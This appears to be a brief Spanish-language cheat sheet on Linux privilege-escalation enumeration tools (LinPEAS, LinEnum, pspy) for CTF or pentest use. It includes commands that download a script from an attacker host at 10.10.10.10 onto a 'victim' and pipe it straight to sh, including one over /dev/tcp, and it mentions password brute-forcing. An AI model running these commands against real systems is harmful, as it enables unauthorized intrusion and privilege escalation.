LinPeas

El objetivo de este script es buscar posibles rutas de escalada de privilegios (probadas en Debian, CentOS, FreeBSD, OpenBSD y MacOS).

Este script no tiene ninguna dependencia.

Utiliza la sintaxis /bin/sh , por lo que puede ejecutarse en cualquier soporte sh(y los binarios y parámetros utilizados).

De manera predeterminada, linpeas no escribirá nada en el disco y no intentará iniciar sesión como cualquier otro usuario que usesu .

https://github.com/carlospolop/PEASS-ng/releases

From github

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Local network

sudo python -m SimpleHTTPServer 80 #Host

curl 10.10.10.10/linpeas.sh | sh #Victim

Without curl

sudo nc -q 5 -lvnp 80 < linpeas.sh #Host

cat < /dev/tcp/10.10.10.10/80 | sh #Victim

Por defecto, linpeas tarda alrededor de 4 minutos en completarse, pero podría llevar de 5 a 10 minutos ejecutar todas las comprobaciones usando el parámetro -a (opción recomendada para CTF) :

De menos de 1 min a 2 min para realizar casi todas las comprobaciones

Casi 1 min para buscar posibles contraseñas dentro de todos los archivos accesibles del sistema

20 s/usuario fuerza bruta con top2000 contraseñas (necesita -a) - Tenga en cuenta que esta verificación es muy ruidosa

1 minuto para monitorear los procesos para encontrar trabajos cron muy frecuentes (necesidad -a) - Tenga en cuenta que esta verificación deberá escribir información dentro de un archivo que se eliminará

LinEnum

git clone https://github.com/rebootuser/LinEnum

OPTIONS:

-k Enter keyword

-e Enter export location

-t Include thorough (lengthy) tests

-s Supply current user password to check sudo perms (INSECURE)

-r Enter report name

-h Displays this help text

- Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

PSPY

- git clone https://github.com/DominicBreuker/pspy.git
- cd pspy
- go build
- apt install golangapt
- ./ pspy